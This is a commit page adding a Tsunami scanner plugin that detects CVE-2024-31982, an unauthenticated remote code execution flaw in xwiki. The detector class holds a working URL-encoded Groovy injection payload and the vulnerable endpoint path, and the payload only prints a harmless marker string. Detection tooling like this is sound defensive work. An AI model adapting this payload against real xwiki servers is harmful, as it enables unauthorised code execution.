Skip to content

Commit

Permalink
Add a detector for CVE-2024-31982 (unauthenticated RCE in xwiki).
Browse files Browse the repository at this point in the history
PiperOrigin-RevId: 650586762
Change-Id: I276488ee83cd17bc192c8f2f7a180ed49d2fbf10
  • Loading branch information
tooryx authored and Copybara-Service committed Jul 9, 2024
1 parent 6a4cc95 commit 2917af2
Show file tree
Hide file tree
Showing 6 changed files with 427 additions and 0 deletions.
14 changes: 14 additions & 0 deletions google/detectors/rce/xwiki/cve202431982/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# CVE-2024-31982 RCE for xwiki

This detector checks whether an xwiki instance is vulnerable to RCE-2024-31982
which allows unauthenticated code execution.

## Build jar file for this plugin

Using `gradlew`:

```shell
./gradlew jar
```

Tsunami identifiable jar file is located at `build/libs` directory.
83 changes: 83 additions & 0 deletions google/detectors/rce/xwiki/cve202431982/build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
plugins {
id 'java-library'
}

description = 'Tsunami VulnDetector plugin for CVE-2024-31982.'
group = 'com.google.tsunami'
version = '0.0.1-SNAPSHOT'

repositories {
maven { // The google mirror is less flaky than mavenCentral()
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
}
mavenCentral()
mavenLocal()
}

java {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11

jar.manifest {
attributes('Implementation-Title': name,
'Implementation-Version': version,
'Built-By': System.getProperty('user.name'),
'Built-JDK': System.getProperty('java.version'),
'Source-Compatibility': sourceCompatibility,
'Target-Compatibility': targetCompatibility)
}

javadoc.options {
encoding = 'UTF-8'
use = true
links 'https://docs.oracle.com/javase/8/docs/api/'
source = '8'
}

// Log stacktrace to console when test fails.
test {
testLogging {
exceptionFormat = 'full'
showExceptions true
showCauses true
showStackTraces true
}
maxHeapSize = '1500m'
}
}

ext {
floggerVersion = '0.5.1'
guavaVersion = '28.2-jre'
javaxInjectVersion = '1'
jsoupVersion = '1.9.2'
okhttpVersion = '3.12.0'
protobufVersion = '3.11.4'
tsunamiVersion = 'latest.release'

junitVersion = '4.13'
mockitoVersion = '2.28.2'
truthVersion = '1.0.1'
}

dependencies {
implementation "com.google.flogger:flogger:${floggerVersion}"
implementation "com.google.flogger:google-extensions:${floggerVersion}"
implementation "com.google.flogger:flogger-system-backend:${floggerVersion}"
implementation "com.google.guava:guava:${guavaVersion}"
implementation "com.google.protobuf:protobuf-java:${protobufVersion}"
implementation "com.google.protobuf:protobuf-javalite:${protobufVersion}"
implementation "com.google.protobuf:protobuf-java-util:${protobufVersion}"
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
implementation "javax.inject:javax.inject:${javaxInjectVersion}"
implementation "org.jsoup:jsoup:${jsoupVersion}"

testImplementation "com.google.truth:truth:${truthVersion}"
testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
testImplementation "junit:junit:${junitVersion}"
testImplementation "org.mockito:mockito-core:${mockitoVersion}"
}
1 change: 1 addition & 0 deletions google/detectors/rce/xwiki/cve202431982/settings.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = 'cve202431982'
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.rce.cve202431982;

import com.google.tsunami.plugin.PluginBootstrapModule;

/** A {@link PluginBootstrapModule} for {@link Cve202431982Detector}. */
public final class Cve202431982BootstrapModule extends PluginBootstrapModule {

@Override
protected void configurePlugin() {
registerPlugin(Cve202431982Detector.class);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.rce.cve202431982;

import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.tsunami.common.net.http.HttpRequest.get;

import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkServiceUtils;
import com.google.tsunami.common.net.http.HttpClient;
import com.google.tsunami.common.net.http.HttpResponse;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.io.IOException;
import java.time.Clock;
import java.time.Instant;
import javax.inject.Inject;

/** A {@link VulnDetector} that detects a remote code execution vulnerability in xwiki. */
@PluginInfo(
type = PluginType.VULN_DETECTION,
name = "CVE-2024-31982 detector",
version = "0.1",
description = "Detects remote code execution vulnerability in xwiki",
author = "Tsunami Team (tsunami-dev@google.com)",
bootstrapModule = Cve202431982BootstrapModule.class)
public final class Cve202431982Detector implements VulnDetector {
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
private static final ImmutableList<String> POSSIBLE_SUBPATHS = ImmutableList.of("", "xwiki/");
// Decoded payload: '}}}{{async
// async=false}}{{groovy}}println("tsunami-detection:"+(2001+1024)){{/groovy}}{{/async}}'
// This will print 'tsunami-detection:3025' in the output.
private static final String PAYLOAD =
"%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22tsunami%2Ddetection%3A%22%2B%282001%2B1024%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D";
private static final String TARGET_PATH = "bin/get/Main/DatabaseSearch?outputSyntax=plain&text=";

private final Clock utcClock;
private final HttpClient httpClient;

@Inject
Cve202431982Detector(@UtcClock Clock utcClock, HttpClient httpClient) {
this.utcClock = checkNotNull(utcClock);
this.httpClient = checkNotNull(httpClient).modify().build();
}

@Override
public DetectionReportList detect(
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
logger.atInfo().log("Starting detection: CVE-2024-31982 in xwiki");
DetectionReportList detectionReports =
DetectionReportList.newBuilder()
.addAllDetectionReports(
matchedServices.stream()
.filter(NetworkServiceUtils::isWebService)
.filter(this::isServiceVulnerable)
.map(networkService -> buildDetectionReport(targetInfo, networkService))
.collect(toImmutableList()))
.build();

logger.atInfo().log(
"Detection for CVE-2024-31982 finished, detected '%d' vulns.",
detectionReports.getDetectionReportsCount());
return detectionReports;
}

private boolean isServiceVulnerable(NetworkService networkService) {
return POSSIBLE_SUBPATHS.stream()
.anyMatch(endpoint -> isEndpointVulnerable(networkService, endpoint));
}

private boolean isEndpointVulnerable(NetworkService networkService, String subpath) {
String targetUrl =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService)
+ subpath
+ TARGET_PATH
+ PAYLOAD;

try {
HttpResponse httpResponse =
httpClient.send(get(targetUrl).withEmptyHeaders().build(), networkService);
return (httpResponse.status().code() == 200
&& httpResponse.bodyString().get().contains("tsunami-detection:3025"));
} catch (IOException e) {
logger.atWarning().withCause(e).log("Failed to send request to %s", targetUrl);
return false;
}
}

private DetectionReport buildDetectionReport(
TargetInfo scannedTarget, NetworkService vulnerableNetworkService) {
return DetectionReport.newBuilder()
.setTargetInfo(scannedTarget)
.setNetworkService(vulnerableNetworkService)
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
.setVulnerability(
Vulnerability.newBuilder()
.setMainId(
VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-31982"))
.addRelatedId(
VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-31982"))
.setSeverity(Severity.CRITICAL)
.setTitle("xwiki instance vulnerable to CVE-2024-31982")
.setRecommendation(
"Update to one of the patched versions of xwiki: 14.10.20, 15.5.4, 15.10-rc-1")
.setDescription(
"The xwiki instance is vulnerable to CVE-2024-31982. This vulnerability allows"
+ " an attacker to take control of the xwiki instance and does not require"
+ " authentication."))
.build();
}
}
Loading

0 comments on commit 2917af2

Please sign in to comment.